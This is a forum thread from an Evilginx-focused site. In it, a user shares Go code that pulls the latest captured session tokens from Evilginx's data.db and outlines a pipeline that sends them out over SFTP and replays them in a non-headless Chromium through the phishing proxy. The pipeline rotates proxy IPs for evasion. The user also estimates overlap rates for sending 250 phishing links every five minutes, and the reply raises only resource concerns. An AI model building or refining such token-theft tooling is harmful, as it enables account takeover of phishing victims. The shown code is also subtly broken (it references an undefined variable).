# Capturing Latest data.db Tokens

**URL:** <http://fluxxset.com/t/capturing-latest-data-db-tokens/1598>\
**Category:** Evilginx\
**Tags:** source-code\
**Created:** [August 18, 2025, 8:08pm UTC](http://fluxxset.com/t/capturing-latest-data-db-tokens/1598 "2025-08-18T20:08:58Z")\
**Posts on this page:** 3\
**Page:** 1

<div class="post-metadata">

**Author:** ![Ramos\_Milkovich](http://fluxxset.com/letter_avatar_proxy/v4/letter/r/b5e925/32.png) [@Ramos\_Milkovich](http://fluxxset.com/u/Ramos_Milkovich)\
**Post date:** [August 18, 2025, 8:08pm UTC](http://fluxxset.com/t/capturing-latest-data-db-tokens/1598/1 "2025-08-18T20:08:58Z")

</div>

Hello @Fluxxset, I’m working on a project to instantly export the latest Evilginx tokens to a Chromium instance running on the same Evilginx proxy setup. I’ve refined the token-fetching logic and would like your feedback. It’s adapted from a [section of your code](https://github.com/kgretzky/evilginx2/compare/master...fluxxset:evilginx2:master#diff-cd28f28ff45f3f2ea674630c4077ebda6169d14946f3babf5d5ff5f1b885b36eR28) (I’m aware that [changes to `http_proxy.go`](https://github.com/kgretzky/evilginx2/pull/1189/commits/e17c0a2db2bc81e54703ea05e3e5a91eb6e04013#diff-81f0ab19f6761fabec8b93df594d33a483593bd5be528808ea5e0a7378ba46d1) are required).

* * *

> **Token-fetching logic:**

```auto
func getLatestSession() ([]byte, error) {
    file, err := os.Open("/root/.evilginx/data.db")
    if err != nil { 
        return nil, fmt.Errorf("failed to open data.db: %v", err) 
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    var currentSession string
    var captureNext bool

    for scanner.Scan() {
        line := strings.TrimSpace(scanner.Text())
        
        if strings.HasPrefix(line, "$") {
            captureNext = true
            currentSession = ""
            continue
        }

        if captureNext && strings.HasPrefix(line, "{") {
            currentSession = line
        }
    }

    if latestSession == "" {
        return nil, fmt.Errorf("no valid session data found")
    }
    return []byte(currentSession), nil
}

```

---

<div class="post-metadata">

**Author:** ![fluxxset](http://fluxxset.com/user_avatar/fluxxset.com/fluxxset/32/20_2.png) [@fluxxset](http://fluxxset.com/u/fluxxset)\
**Post date:** [August 18, 2025, 8:10pm UTC](http://fluxxset.com/t/capturing-latest-data-db-tokens/1598/2 "2025-08-18T20:10:01Z")

</div>

Do you think it will last when there are the simultaneous users as if you talk about the chromium even if it is header less it will take good amount of Ram and processing power in the background

---

<div class="post-metadata">

**Author:** ![Ramos\_Milkovich](http://fluxxset.com/letter_avatar_proxy/v4/letter/r/b5e925/32.png) [@Ramos\_Milkovich](http://fluxxset.com/u/Ramos_Milkovich)\
**Post date:** [August 19, 2025, 5:26am UTC](http://fluxxset.com/t/capturing-latest-data-db-tokens/1598/3 "2025-08-19T05:26:34Z")

</div>

> When [tokens are captured](https://github.com/kgretzky/evilginx2/pull/1192/commits/3b0410e02ec7dba408f76bde600987906a247e2b#diff-81f0ab19f6761fabec8b93df594d33a483593bd5be528808ea5e0a7378ba46d1R1058):

1. [It](https://github.com/kgretzky/evilginx2/pull/1192/commits/3b0410e02ec7dba408f76bde600987906a247e2b#diff-e7d2f417973acf27f0f23ee7f49975669180d6d8d2afc4411d81f4daeaeb7fe4R90) gets the latest tokens similar to how you did it [here](https://github.com/kgretzky/evilginx2/compare/master...fluxxset:evilginx2:master#diff-cd28f28ff45f3f2ea674630c4077ebda6169d14946f3babf5d5ff5f1b885b36eR44).
2. [It exports](https://github.com/kgretzky/evilginx2/pull/1192/commits/3b0410e02ec7dba408f76bde600987906a247e2b#diff-e7d2f417973acf27f0f23ee7f49975669180d6d8d2afc4411d81f4daeaeb7fe4R35) extracted tokens to local machine [via SFTP](https://github.com/kgretzky/evilginx2/pull/1192/commits/3b0410e02ec7dba408f76bde600987906a247e2b#diff-e7d2f417973acf27f0f23ee7f49975669180d6d8d2afc4411d81f4daeaeb7fe4R107)
3. [It](https://github.com/kgretzky/evilginx2/pull/1192/commits/3b0410e02ec7dba408f76bde600987906a247e2b#diff-e7d2f417973acf27f0f23ee7f49975669180d6d8d2afc4411d81f4daeaeb7fe4R185) gets Evilginx’s proxy configuration
4. [It](https://github.com/kgretzky/evilginx2/pull/1192/commits/3b0410e02ec7dba408f76bde600987906a247e2b#diff-e7d2f417973acf27f0f23ee7f49975669180d6d8d2afc4411d81f4daeaeb7fe4R229) applies Evilginx’s proxy configuration to the [automation file](https://github.com/kgretzky/evilginx2/pull/1192/commits/3b0410e02ec7dba408f76bde600987906a247e2b#diff-e7d2f417973acf27f0f23ee7f49975669180d6d8d2afc4411d81f4daeaeb7fe4R220) (later exported to local machine) so that [Chromium runs on same proxy as Evilginx](https://github.com/kgretzky/evilginx2/pull/1192/commits/3b0410e02ec7dba408f76bde600987906a247e2b#diff-e7d2f417973acf27f0f23ee7f49975669180d6d8d2afc4411d81f4daeaeb7fe4R265)
5. It writes [automation file](https://github.com/kgretzky/evilginx2/pull/1192/commits/3b0410e02ec7dba408f76bde600987906a247e2b#diff-e7d2f417973acf27f0f23ee7f49975669180d6d8d2afc4411d81f4daeaeb7fe4R220) to `/tmp/` in the VPS, then [exports it](https://github.com/kgretzky/evilginx2/pull/1192/commits/3b0410e02ec7dba408f76bde600987906a247e2b#diff-e7d2f417973acf27f0f23ee7f49975669180d6d8d2afc4411d81f4daeaeb7fe4R143) to local machine, after that it executes the file from VPS
6. After all this, it will [switch Evilginx proxy](https://github.com/kgretzky/evilginx2/pull/1192/commits/3b0410e02ec7dba408f76bde600987906a247e2b#diff-e7d2f417973acf27f0f23ee7f49975669180d6d8d2afc4411d81f4daeaeb7fe4R56) (from a [predefined list](https://github.com/kgretzky/evilginx2/pull/1192/commits/3b0410e02ec7dba408f76bde600987906a247e2b#diff-e7d2f417973acf27f0f23ee7f49975669180d6d8d2afc4411d81f4daeaeb7fe4R355) by the user) so that new users authenticate from fresh IPs

> EXTRA:

- Local machine’s IP will never be leaked to Chromium given the [network stealth](https://github.com/kgretzky/evilginx2/pull/1192/commits/3b0410e02ec7dba408f76bde600987906a247e2b#diff-e7d2f417973acf27f0f23ee7f49975669180d6d8d2afc4411d81f4daeaeb7fe4R256).
- **Chromium is never launched in VPS!.**
- **Chromium is never launched in headless mode!.**
- If 250 links are sent every 5 minutes, users have a 15% chance of overlapping within the 1-minute interaction. Sending every 10 minutes lowers overlap to 8%, assuming a 65% chance of opening within the 5/10 min and 35% outside the 5/10 min.
- To evade the 15% chance of error I need to add some logic to constantly guard whether two users are active, if so.. [Kali workspace logic](https://github.com/kgretzky/evilginx2/pull/1192/commits/3b0410e02ec7dba408f76bde600987906a247e2b#diff-e7d2f417973acf27f0f23ee7f49975669180d6d8d2afc4411d81f4daeaeb7fe4R222) has to be modified as well as [SwitchProxy logic](https://github.com/kgretzky/evilginx2/pull/1192/commits/3b0410e02ec7dba408f76bde600987906a247e2b#diff-e7d2f417973acf27f0f23ee7f49975669180d6d8d2afc4411d81f4daeaeb7fe4R353)